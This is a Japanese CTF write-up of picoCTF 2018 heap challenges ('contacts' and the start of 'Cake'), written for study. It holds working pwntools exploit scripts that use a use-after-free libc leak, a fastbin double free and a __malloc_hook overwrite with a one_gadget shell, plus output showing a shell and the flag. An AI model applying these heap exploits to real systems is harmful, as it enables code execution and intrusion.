ここまでの情報から、以下の流れで攻撃が成立しそうです。
contact1
をcreateし、- bioに
contact
の構造体を突っ込む contact1
のbioのみを、上記のバグを使ってfreeする
※freeされた領域はcontact
の構造を持っている- 新しいcontact
contact2
をcreateすると、name領域は初期化されるがbio領域がcontact1
で使用していたときのまま残る - displayしてbio領域を参照して表示させる
※ picoCTF2019が始まってしまうため、手書きの図をそのままアップ…。
ということでcontact1
に突っ込むbioに、汚染されたbioを持つcontact
構造を突っ込みます。コードは今回、基本的に一つ前のsword
のスクリプトを改造しています。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * from ctypes import * host = '2018shell.picoctf.com' port = 40352 MAX_BIO_LEN = 255 class contact(Structure): _fields_ = [('name', c_char_p), ('bio', c_char_p)] def create_contact(name, bio): c = contact() c.name = name c.bio = bio return c def recv_menu(): r.recvuntil(b'> ') def display(): recv_menu() print(b'### display') r.sendline(b'display') res = r.recvuntil(b'Enter your command:') print(res) return def create(name): recv_menu() print(b'### create: ' + name) r.sendline(b'create ' + name) res = r.recvline() print(res) return def set_bio(name, length, bio): recv_menu() print(b'### bio: ' + name + b', len: ' + str(length).encode() + b', bio: ' + bio) r.sendline(b'bio ' + name) print(r.recvuntil(b"How long will the bio be?")) r.sendline(str(length).encode()) if length > MAX_BIO_LEN: print('bio freed') recv_menu() return print(r.recvuntil(b"Enter your new bio:")) r.sendline(bio) r.recvline() res = r.recvline() print(res) recv_menu() # once recive "Invalid option" response after bio set. return ### prepare target = ELF('./contacts') libc = ELF('./libc.so.6') r = remote(host, port) ### use after free test # create poisoned bio contact structure bio4libc = create_contact(0, target.got[b'puts']) b_bio4libc = memoryview(bio4libc).tobytes() create(b'1') set_bio(b'1', len(b_bio4libc), b_bio4libc) set_bio(b'1', MAX_BIO_LEN+1, b'') # free only bio create(b'2') display()
実行結果
(略) b'### create: 1' b'Created contact "1"\n' b'### bio: 1, len: 16, bio: \x00\x00\x00\x00\x00\x00\x00\x00 `\x00\x00\x00\x00\x00' b'Bio recorded.\n' b'### bio: 1, len: 256, bio: ' bio freed b'### create: 2' b'Created contact "2"\n' b'### display' b'1 - \x800\xba\n2 - \x90v\x84\x9a\x96\x7f\n\nEnter your command:' (略)
上記の流れの最後のdisplayでは、
contact1: \x800\xba contact2: \x90v\x84\x9a\x96\x7f
が得られました。
今回使いたいのは contact2 の bioです。ここに puts
のアドレスが入ったはず。hexアドレスに直すと 0x7f969a847690
。刺さったっぽい₍₍ (ง ˙ω˙)ว ⁾⁾
あとはsword
と同じようにlibc_base
のアドレスを計算します。
さて、こんどはshellを取ります(๑•̀ㅂ•́)و✧
swordのときはうまく実行してくれるパスがあったのですが、今回は一筋縄ではいかなさそうです…。display機能は、メモリを参照して表示するだけ。ここまではBinary問題にしては快調だった(当社比。99%直前にswordをやったおかげ)けど詰まる。というかfastbinの特徴を使っていない。
fastbin attack
とかfastbin ctf
とかでググると、攻撃パターンの紹介がいくつか出てきます。何故か中国語サイトが上位だったんですけど、google翻訳先生の力を借りてなんとか読めました。
- Fastbin Attack - CTF Wiki
- Fastbin Double Free | Sakuraのblog
- glibc malloc exploit techniques - ももいろテクノロジー
- Fast bin attack
いつものももいろテクノロジーさんも。malloc系のテクニックが沢山紹介されています。
この辺を見ていると、double freeが割とメジャーな攻撃っぽいです。
今回の問題にもdouble freeが使えないか考えてみます。
コードを書いて検証してみます。 実行結果 最後の となっています。新しいcontact( fastbinのリストは、同じ領域が重複して登録されていないかのチェックがないため、double freeを起こしやすくなっています。ちょっとまわり道してしまったので畳んどきます。
delete_contact
関数を見てみます。この中では、name
-> bio
(あれば) -> contact
の順にfreeしています。次に新しくmallocする際、LIFO(Last in First out)なので、先程使っていた領域の contact
-> bio
-> name
の順で確保されていきます。
ということは、一度contact
構造体をfreeしたあとに再度mallocすると、新しいcontactのname
は今までbio
が使用していた領域を指すようになります。値は新しいnameで上書きされます。更に、bio
はcontactをcreateしただけでは初期化されないため、古いbio領域、すなわち今nameが指している領域を示しているはずです。こうすれば新しいcontactのname,bioが同じ領域を指す状態が作れそうです。
このまま新しいcontactをdeleteすると、同じ領域を2度free、すなわちdouble freeできそう!
### prepare 処理までは上記と同じ
### double free test
create(b'contact1')
set_bio(b'contact1', 7, b'old_bio')
delete(b'contact1')
create(b'contact2')
display()
(略)
b'### create: contact1'
b'Created contact "contact1"\n'
b'### bio: contact1, len: 7, bio: old_bio'
b'Bio recorded.\n'
b'### delete: contact1'
b'Deleted contact "contact1"\n'
b'### create: contact2'
b'Created contact "contact2"\n'
b'### display'
b'contact2 - contact2\n\nEnter your command:'
(略)
display()
では(name) - (bio)
contact2 - contact2
contact2
)では、name
にcontact2
を入れたのでnameがcontact2
になっているのは通常運転ですが、セットしていないはずのbioもcontact2
になっています。先程の狙い通り、この新しいcontactのbioが初期化されずに、新しいnameと同じ領域を指しているのが確認できました!
しかし!簡単なdouble freeチェックは入っており、free(p1) -> free(p1) とすると、double freeチェックに引っかかってエラーが出てしまいます(fastbin の リンクリストの head に同じ領域がないかのチェックがあるため)。今回のdouble free testのケースでは、このままdelete(b'contact2')
するとこのチェックに引っかかってしまいました。。。残念!b"*** Error in `/problems/contacts_4_4b3296ae25c87d6d5868d1b4fbea01da/contacts': double free or corruption (fasttop): 0x00000000025ec060 ***\n"
さて、この折りたたみの中では、fastbinにも double free の簡単なチェックが入っているため、同じ領域を続けて free(p1) -> free(p1)
のように解放しようとするとエラーになってしまう事を見ました。p1を double free したい場合は、free(p1) -> free(p2) -> free(p1)
のように、他の領域のfreeを挟む必要があります。
そういえば、先程libcのアドレスを取る際に使った脆弱性、set_bioでbio領域だけをfreeしてしまうやつ。これが使えそうです。set_bioでbioだけfreeするやつを2回呼べば良さげ。その間に他の領域のfreeを呼ぶのも簡単そう。検証してみましょう。
### prepare 処理までは上記と同じ ### double free test 2 create(b'shell1') set_bio(b'shell1', 10, b'bio1') create(b'shell2') set_bio(b'shell2', 10, b'bio2') set_bio(b'shell1', MAX_BIO_LEN+1, b'') # free only bio display() set_bio(b'shell2', MAX_BIO_LEN+1, b'') # free only bio set_bio(b'shell1', MAX_BIO_LEN+1, b'') # free only bio display()
実行結果
b'### create: shell1' b'Created contact "shell1"\n' b'### bio: shell1, len: 6, bio: bio1' b'Bio recorded.\n' b'### create: shell2' b'Created contact "shell2"\n' b'### bio: shell2, len: 6, bio: bio2' b'Bio recorded.\n' b'### bio: shell1, len: 256, bio: ' bio freed b'### display' b'shell1 - \nshell2 - bio2\n\nEnter your command:' b'### bio: shell2, len: 256, bio: ' bio freed b'### bio: shell1, len: 256, bio: ' bio freed b'### display' b'shell1 - \xb0\xf0\xdd\n1-2 - P\xf0\xdd\n\nEnter your command:'
1回目のfreeの際はshell1
のbio領域がなくなって
shell1 - shell2 - bio2
の出力になっていますが、2回目のfreeの後は壊れちゃってます。
1-1 - \xb0\xf0\xdd 1-2 - P\xf0\xdd
しかしエラーにはならず、無事fastbin内でdouble freeが成功したっぽいです。
さて、これをどうやって攻撃につなげるかを考える必要があります。
最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて - ブログ未満のなにか fastbin attack with 0x70 chunk これが使えそうな気がします。
概要 結構前から汎用的に使われているテクニック。 fastbinに繋がれたチャンクをmalloc()などで取り出す時に、チェックが甘いことに起因する。 libcのdata, bssにあるデータを利用して、その付近のメモリをmalloc()で取得するテクニック。
使用条件 * UAFやheap bofなどで、free済みのチャンクのfdを任意に制御できる * 0x59から0x68までのサイズでmalloc()を呼べる * libcのアドレスが分かっている(これが絶対かは問題による)
ということで、今回の条件とやりたいことにかなり合致していそうです。
上の double free test 2 で double freeをしたあとの、fastbinの状態はこんな感じ。
[fastbin] (head) -> bio1 -> bio2 -> bio1' -> (bio2) -> (bio1) -> ...
次にbio領域を確保(contact3)した場合、fastbinの先頭にある bio1
の領域が取れます。更に、fastbinのリンクの中にもまだこの領域へのpointer(bio1'
)が残っています。
bio領域の中身はこちらで好きにいじれる (上の条件の "free済みのチャンクのfdを任意に制御できる" ) ため、fastbinの中で不正な動作をするような中身に書き換えることができます。具体的には、次の空き領域へのポインタを好きな領域に書き換えてしまいます。
※ あとに出てくる、allocate chunk と free chunk の構造参照。allocate状態で user 領域にある領域が、 free chunk の中では次の領域へのリンクを格納する管理領域として扱われるため、この書き換えが可能になります。
上記で紹介した、最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて - ブログ未満のなにか fastbin attack with 0x70 chunk にあるとおり、このとき書き換える対象として__malloc_hook
がよく使われるそうです。あまり馴染が無いですが。__malloc_hookのリファレンスはこちら
The GNU C Library lets you modify the behavior of malloc, realloc, and free by specifying appropriate hook functions. You can use these hooks to help you debug programs that use dynamic memory allocation, for example. __malloc_hook: The value of this variable is a pointer to the function that malloc uses whenever it is called. ... The value of caller is the return address found on the stack when the malloc function was called.
だそうです。__malloc_hook
に何か用意されている場合は、malloc関数を呼ぶとhookのほうが動作するようになっているみたいです。さらに、__malloc_hook
に、shellを起動してくれるgadget (one_gadgetで取得できる) をセットしておけば、mallocしたときにこれを呼び出してくれるはず。
ここで、chunkの構造を見てみます。
mallocの動作を追いかける(prev_size編) - Qiitaあたりにも図解で載っていたのですが、引用しやすかったので下記より引用します。
malloc_chunk · Heap Exploitation
Allocated chunk
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (size of chunk, but used for application data) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|1| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Free chunk
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |A|0|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|0| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
fastbinのchunkでは、Size of chunk
のみ管理領域として使われており、freeされるとその前に Size of previous chunk
が書き込まれます。更に、Foward ponter(*fw) と Back pointer(*bk) が allocate 状態で User data 領域だった場所に書き込まれることがわかります。冒頭のfastbin, malloc解説の動画やスライドにもこの話は出てきていました。
fastbin中のbio1
の *fw に指定する領域は、同じくfreeされた領域として扱われます。また、fastbinのサイズチェックを受けるので、サイズがfastbinの守備範囲内である必要があります。そこで、__malloc_hook
の先頭アドレスを書き込むのではなく、ちょっとずらしてやる(__malloc_fook_addr - 0x23
)と、Size of chunk の領域に 0x7f が当たるので、これがよく使われるそうです。
__malloc_hookのアドレス gdb-peda$ p &__malloc_hook $3 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook> 適当に数byte前を見てみる gdb-peda$ x/8gx 0x7ffff7dd1b10-0x20 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000 適当にズラして0x7fとする gdb-peda$ x/8gx 0x7ffff7dd1b10-0x20-3 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
※出典: 最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて - ブログ未満のなにか
ということで、bio1 のユーザー領域の戦闘に __malloc_hook_addr - 0x23
を書き込んでやります。これを dummy_chunk
と命名します。
これで、fastbinの状態はこうなりました。
[fastbin] (head) -> bio2 -> bio1' -> dummy_chunk -> (tail)
更に、dummy_chunk に one_gadget でとってきた shell を起動してくれるgadgetのアドレスを差し込みます。ここを書き換えるためにはdummy_chunkを操作する必要があるので、この領域がbio領域として使われるように fastbin の前に積まれている領域を alloc していきます。
fastbinはリンクリストを10個もっており、サイズごとに使うリストが異なるため、同じリンクリストを使うには同じサイズの領域を扱う必要があります。先程の __malloc_hook のサイズに 0x7f を書き込むことにしたので、0x70 のサイズのリンクリストを使うことになります。
よって、いまから確保する領域は、ここにハマるようにサイズを調整します。fastbinの最初の 0x10 byteはサイズなどのメタデータに使われるため、allocする際のデータは 0x70 - 0x10 で 0x60 のサイズを使うと良さそうです。※bio1, bio2, bio3 も同様。
malloc bio4
[fastbin] (head) -> bio1' -> dummy_chunk -> (tail)
malloc bio5
[fastbin] (head) -> dummy_chunk -> (tail)
malloc bio6
[fastbin] (head) -> (tail)
この時取得する領域が、dummy_chunk の領域です。このset_bio時に、one_gadgetで取得したアドレスを送り込みます。
$ one_gadget libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
4つのどれかを使うのですが、前回も「全部試したらええ」でやったので今回も順番に試します。
また、__malloc_hook
に gadget を登録したいのですが、先程 fastbin の chunk に詰めるときに 0x23 バイトずらしたアドレスを登録しました。このずらした分を補正するため、 0x23 - 0x10
ほど offset をつけて書き込んでやります。(※0x10はfastbinのメタデータ領域)
gadget_payload = b'\x00'*0x13 + p64(libc_base + gadget_addr) set_bio(b'6', 0x60, gadget_payload + pad(0x60, gadget_payload, b'a'))
次のmalloc(create_contact)で攻撃が発動するはず。
この攻撃手法は何箇所かで紹介されていましたが、どれも異なる名前で紹介されているので正式名称が不明のまま…。そもそも正式名称があるのか?強いて言うならfastbin attack
?(広そう)
これをコードに落とします。bioばっかり使うので、最初にcontactをガーッとcreateしておいて後からbio領域をとっていく形。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * from ctypes import * host = '2018shell.picoctf.com' port = 40352 MAX_BIO_LEN = 255 class contact(Structure): _fields_ = [('name', c_char_p), ('bio', c_char_p)] def create_contact(name, bio): c = contact() c.name = name c.bio = bio return c def pad(size, buff, pad_data): while len(buff) < size: buff += pad_data return buff def recv_menu(): r.recvuntil(b'> ') def display(): recv_menu() print(b'### display') r.sendline(b'display') res = r.recvuntil(b'Enter your command:') print(res) return res def create(name): recv_menu() print(b'### create: ' + name) r.sendline(b'create ' + name) res = r.recvline() print(res) return def delete(name): recv_menu() print(b'### delete: ' + name) r.sendline(b'delete ' + name) res = r.recvline() print(res) return def set_bio(name, length, bio): recv_menu() print(b'### bio: ' + name + b', len: ' + str(length).encode() + b', bio: ' + bio) r.sendline(b'bio ' + name) r.recvuntil(b"How long will the bio be?") r.sendline(str(length).encode()) if length > MAX_BIO_LEN: print('bio freed') recv_menu() return r.recvuntil(b"Enter your new bio:") r.sendline(bio) r.recvline() res = r.recvline() print(res) return def free_bio(name): set_bio(name, MAX_BIO_LEN+1, b'') ############### ### prepare ### ############### target = ELF('./contacts') libc = ELF('./libc.so.6') r = remote(host, port) ##################### ### get libc_base ### ##################### # create poisoned bio contact structure bio4libc = create_contact(0, target.got[b'puts']) b_bio4libc = memoryview(bio4libc).tobytes() # use after free create(b'libc_1') set_bio(b'libc_1', len(b_bio4libc), b_bio4libc) free_bio(b'libc_1') create(b'libc_2') libc_res = display() libc_puts = u64(pad(8, libc_res.split(b'- ')[2].split(b'\n')[0], b'\x00')) print('+++ libc puts addr: ' + hex(libc_puts)) libc_base = libc_puts - libc.symbols[b'puts'] ################# ### get shell ### ################# # create 6 contacts named '1' ~ '6' for i in range(6): create(str(i+1).encode()) # set bio 1,2 set_bio(b'1', 0x60, b'1'*0x60) set_bio(b'2', 0x60, b'2'*0x60) # double free bio1 free_bio(b'1') free_bio(b'2') free_bio(b'1') # set dummy_chunk to *fw of bio1 in fastbin malloc_hook_addr = libc_base + libc.symbols[b'__malloc_hook'] - 0x23 print('+++ libc __malloc_hook around addr: ' + hex(malloc_hook_addr)) malloc_hook_payload = p64(malloc_hook_addr) + pad(0x60, p64(malloc_hook_addr), b'a') set_bio(b'3', 0x60, malloc_hook_payload) # consume fastbin set_bio(b'4', 0x60, b'4'*0x60) set_bio(b'5', 0x60, b'5'*0x60) # alloc & set dummy chunk gadget_addr = 0x4526a # get from one_gadget gadget_payload = b'\x00'*0x13 + p64(libc_base + gadget_addr) set_bio(b'6', 0x60, gadget_payload + pad(0x60, gadget_payload, b'a')) # trigger attack with malloc create(b'7') r.interactive()
実行結果
(略) b'### create: libc_1' b'Created contact "libc_1"\n' b'### bio: libc_1, len: 16, bio: \x00\x00\x00\x00\x00\x00\x00\x00 `\x00\x00\x00\x00\x00' b'Bio recorded.\n' b'### bio: libc_1, len: 256, bio: ' bio freed b'### create: libc_2' b'Created contact "libc_2"\n' b'### display' b'libc_1 - \x80p\xe7\x01\nlibc_2 - \x90f\x80\xd3\x19\x7f\n\nEnter your command:' +++ libc puts addr: 0x7f19d3806690 b'### create: 1' b'Created contact "1"\n' b'### create: 2' b'Created contact "2"\n' b'### create: 3' b'Created contact "3"\n' b'### create: 4' b'Created contact "4"\n' b'### create: 5' b'Created contact "5"\n' b'### create: 6' b'Created contact "6"\n' b'### bio: 1, len: 96, bio: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111' b'Bio recorded.\n' b'### bio: 2, len: 96, bio: 222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222' b'Bio recorded.\n' b'### bio: 1, len: 256, bio: ' bio freed b'### bio: 2, len: 256, bio: ' bio freed b'### bio: 1, len: 256, bio: ' bio freed +++ libc __malloc_hook around addr: 0x7f19d3b5baed b'### bio: 3, len: 96, bio: \xed\xba\xb5\xd3\x19\x7f\x00\x00\xed\xba\xb5\xd3\x19\x7f\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' b'Bio recorded.\n' b'### bio: 4, len: 96, bio: 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444' b'Bio recorded.\n' b'### bio: 5, len: 96, bio: 555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555' b'Bio recorded.\n' b'### bio: 6, len: 96, bio: \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\xc2}\xd3\x19\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\xc2}\xd3\x19\x7f\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' b'Bio recorded.\n' b'### create: 7' b'Invalid option\n' [*] Switching to interactive mode Available commands: display - display the contacts create [name] - create a new contact delete [name] - delete an existing contact bio [name] - set the bio for an existing contact quit - exit the program Enter your command: > $ ls contacts flag.txt libc.so.6 xinet_startup.sh $ cat flag.txt picoCTF{4_5pr3e_0f_d0ubl3_fR33_be84fe98}
ちなみにこれ、shell取れたときのツイート。
CTF、shellが取れて有頂天なときの私:
— kusuwada (@kusuwada) 2019年9月20日
$ ls
executable
flag.txt
$ cat flag/txt
cat: flag/txt: No such file or directory
$ cat falg.txt
cat: falg.txt: No such file or directory
おちつけ。
やるよね。今回はかなり長い道のりだったので、shellが取れたときの感動と動揺は特大。
malloc,fastbinについて調べていると、GHOST脆弱性の文字が。こちらもPOODLE,Heartbleed同様、仕事で緊急調査・対応が入った高名な脆弱性だ!もう2015年だから4年も前の話だ。私がCTF始めたのが2016年だから、出会う前だな。こういうところで繋がると嬉しい。
ちなみに、InterKosenCTF 2019に fastbin tutorial
という問題が出ていたそうです。サーバーは落ちていますが、ソースや解法、writeupがあるのでfastbin触ってみるのに良さそう。公式解法はこちら。(Pwn) fastbin tutorial - HackMD
他にも、0CTF 2017 の Baby Heap, RCTF 2018 の babyheap で同様の問題が出ていたようです。
[Binary] Cake (900pt)
Now that you're a professional heap baker, can you pwn this for us? It should be a piece of cake. Connect with nc 2018shell.picoctf.com 36903. libc.so.6
Hints
- If at first you don't succeed, try, try, try again.
- Make sure you are run/debug with the provided libc on the shell server
まずは挙動を確認してみます。
$ nc 2018shell.picoctf.com 36903 * * * * * * * * * * * * * * * ( ) ) (*) (*) ( * (*) | | (*) | |~| |~| | * |~| | | | | |~| | | | | | | | | ,| |a@@@@| |@@@@@@@@@@@| |@@@@a| |. .,a@@@| |@@@@@| |@@@@@@@@@@@| |@@@@@| |@@@@a,. ,a@@@@@@| |@@@@@@@@@@@@.@@@@@@@@@@@@@@| |@@@@@@@a, a@@@@@@@@@@@@@@@@@@@@@' . `@@@@@@@@@@@@@@@@@@@@@@@@a ;`@@@@@@@@@@@@@@@@@@' . `@@@@@@@@@@@@@@@@@@@@@'; ;@@@`@@@@@@@@@@@@@' . `@@@@@@@@@@@@@@@@'@@@; ;@@@;,.aaaaaaaaaa . aaaaa,,aaaaaaa,;@@@; ;;@;;;;@@@@@@@@;@ @.@ ;@@@;;;@@@@@@;;;;@@; ;;;;;;;@@@@;@@;;@ @@ . @@ ;;@;;;;@@;@@@;;;;;;; ;;;;;;;;@@;;;;;;; @@ . @@ ;;;;;;;;;;;@@;;;;@;; ;;;;;;;;;;;;;;;;;@@ . @@;;;;;;;;;;;;;;;;@@@; ,%%%;;;;;;;;@;;;;;;;; . ;;;;;;;;;;;;;;;;@@;;%%%, .%%%%%%;;;;;;;@@;;;;;;;; ,%%%, ;;;;;;;;;;;;;;;;;;;;%%%%%%, .%%%%%%%;;;;;;;@@;;;;;;;; ,%%%%%%%, ;;;;;;;;;;;;;;;;;;;;%%%%%%%, %%%%%%%%`;;;;;;;;;;;;;;;; %%%%%%%%%%% ;;;;;;;;;;;;;;;;;;;'%%%%%%%% %%%%%%%%%%%%`;;;;;;;;;;;;,%%%%%%%%%%%%%,;;;;;;;;;;;;;;;'%%%%%%%%%%%% `%%%%%%%%%%%%%%%%%,,,,,,,%%%%%%%%%%%%%%%,,,,,,,%%%%%%%%%%%%%%%%%%%%' `%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%' `%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%' """"""""""""""`,,,,,,,,,'""""""""""""""""" `%%%%%%%' `%%%%%' %%% %%%%% .,%%%%%%%,. ,%%%%%%%%%%%%%%%%%%%, In total, you have sold $0 worth of merchandise, and have 1 customers waiting. * [M]ake a cake. * [W]ait for customers. * [S]erve a customer. * [I]nspect a cake. * [C]lose the shop. ...
ケーキAAや!!!
ちょっといじってみた感じ、ケーキ屋さんの機能のようです。
* [M]ake a cake. # ケーキを作る。ケーキの名前・価格を設定できる * [W]ait for customers. # 客を待つ。来るとは限らないが、帰らない(減らない) * [S]erve a customer. # 客をもてなす。ケーキを売ることができる * [I]nspect a cake. # ケーキの名前と価格を見る(指定するのはindex) * [C]lose the shop. # 店じまい
ちょっと怪しい挙動達
- 価格を設定する際に数値以外も許容される(が、表示される時は0になっている)
- 同じケーキを2回売るとdouble freeエラー発生
2つ目のdouble freeエラーはこんな感じ
> S This customer looks really hungry. Which cake would you like to give them? > applepie The customer looks really happy with applepie! *** Error in `/problems/cake_4_0f653e0256b9455e627ae372462f2fc3/cake': double free or corruption (fasttop): 0x0000000001bc5020 *** 2442249: ?r??timeout: the monitored command dumped core
さて、今回はソースコードが提供されていません…!まずは、ghidraにcakeの実行ファイルを喰わせて、decompileしてもらいました。変数名はもちろん読みやすくはないですが、無料でここまでdecompileしてくれるのほんとすごい。
main関数、inspect関数などそれぞれc言語で出力されました。ここで、ケーキの構造体が知りたかったので、ケーキが作成されるであろう make
関数を見てみます(上図)。
if (local_1c == 0x10) { puts("Ran out of counter space :("); }
ケーキは0x10個までしか作れないようです。
知りたかったケーキの構造体ですが、L27で呼ばれているfget_eat
関数と合わせて見る限り、nameのサイズは 8 のようです。また、priceはlongのようです。
struct cake { long price; char name[8]; }
こんな感じでしょうか。他にもう一つ管理されているのがお店の情報で、先程の cake のリストや、待ち人数、売上を管理しているはずです。先程見たように、ケーキのリストは 0x10 = 16 のサイズです。待ち人数の型はwait(関数名はspin)、売上高の型はserveの機能を見ると long であることがわかります。
struct shop { long sales; long waiting; cake *cakes[16]; }
他の処理も読みやすくはないですが、私にとってはアセンブリを読むより遥かに早く読めました。Ghidra最高!!!
次に、最初に色々いじってみて気になった点、double free周りが怪しいので、まずはdouble freeを試してみます。今回、sword
-> contacts
-> cake
の順で解いてきましたが、今回は contacts
で得た知識がだいぶ活躍しそうです。contactsのwriteupに書いた内容は省略します。
今回malloc対象なのは cake
のみ。cake
の構造体は、サイズが 16 (0x10) のため、fastbinの守備範囲のサイズです。ここにメタデータの 0x10 が加わるので、 0x20 のリンクリストが使われるはずです。
また、contacts
のときに "直前と同じ領域をfreeしている場合はチェックに引っかかってエラーになるが、間に他の領域のfreeを挟むとdouble freeが成功する" というのを学びました。早速やってみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '2018shell.picoctf.com' port = 36903 def recv_menu(): r.recvuntil(b'* [C]lose the shop.\n> ') def make(name, price): recv_menu() log.info(b'make: ' + name + b', price: ' + price) r.sendline('M') r.recvuntil(b'Name> ') r.sendline(name) r.recvuntil(b'Price> ') r.sendline(price) res = r.recvuntil(b'customers waiting.') return res def wait(): recv_menu() log.info(b'wait') r.sendline('W') res = r.recvuntil(b'customers waiting.') return res def serve(idx): recv_menu() log.info(b'serve: ' + idx) r.sendline('S') r.recvuntil(b'> ') r.sendline(idx) res = r.recv() return res def inspect(idx): recv_menu() log.info(b'inspect: ' + idx) r.sendline('I') r.recvuntil(b'> ') r.sendline(idx) res = r.recvuntil(b'customers waiting.') return res ############### ### prepare ### ############### target = ELF('./cake') libc = ELF('./libc.so.6') r = remote(host, port) #### double free test 1 ### make(b'test1', b'10') serve(b'0') res = serve(b'0') print(res) res = r.recv() print(res) r.close() #### double free test 1 ### print('---') #### double free test 2 ### r = remote(host, port) make(b'test1', b'10') make(b'test2', b'20') serve(b'0') serve(b'1') res = serve(b'0') print(res) res = inspect(b'0') print(res) res = inspect(b'1') print(res) r.close() #### double free test 2 ###
実行結果
[+] Opening connection to 2018shell.picoctf.com on port 36903: Done [*] b'make: test1, price: 10' [*] b'serve: 0' [*] b'serve: 0' b'The customer looks really happy with test1!\n' b"*** Error in `/problems/cake_4_0f653e0256b9455e627ae372462f2fc3/cake': double free or corruption (fasttop): 0x0000000001564020 ***\n 451480:\t\x80\xd77FI\x7ftimeout: the monitored command dumped core\n" [*] Closed connection to 2018shell.picoctf.com port 36903 --- [+] Opening connection to 2018shell.picoctf.com on port 36903: Done [*] b'make: test1, price: 10' [*] b'make: test2, price: 20' [*] b'serve: 0' [*] b'serve: 1' [*] b'serve: 0' b'The customer looks really happy with test1!\n' [*] b'inspect: 0' b'test1 is being sold for $8728624\nIn total, you have sold $30 worth of merchandise, and have 1 customers waiting.' [*] b'inspect: 1' b'test2 is being sold for $8728592\nIn total, you have sold $30 worth of merchandise, and have 2 customers waiting.' [*] Closed connection to 2018shell.picoctf.com port 36903
double free test 1 では、double freeが検出されてerror、接続が切られてしまいました。対して、 double free test 2 では serve(0) -> serve(1) -> serve(0) と一つ挟むことで、他の領域のfreeが間に挟まれ、double free に成功しています。
さて、一度売られたケーキも、Inspectで見てみると $0 とか $8728592 で売られているよ!(test1 is being sold for $0) と表示されるので、下記の挙動になっているようです。
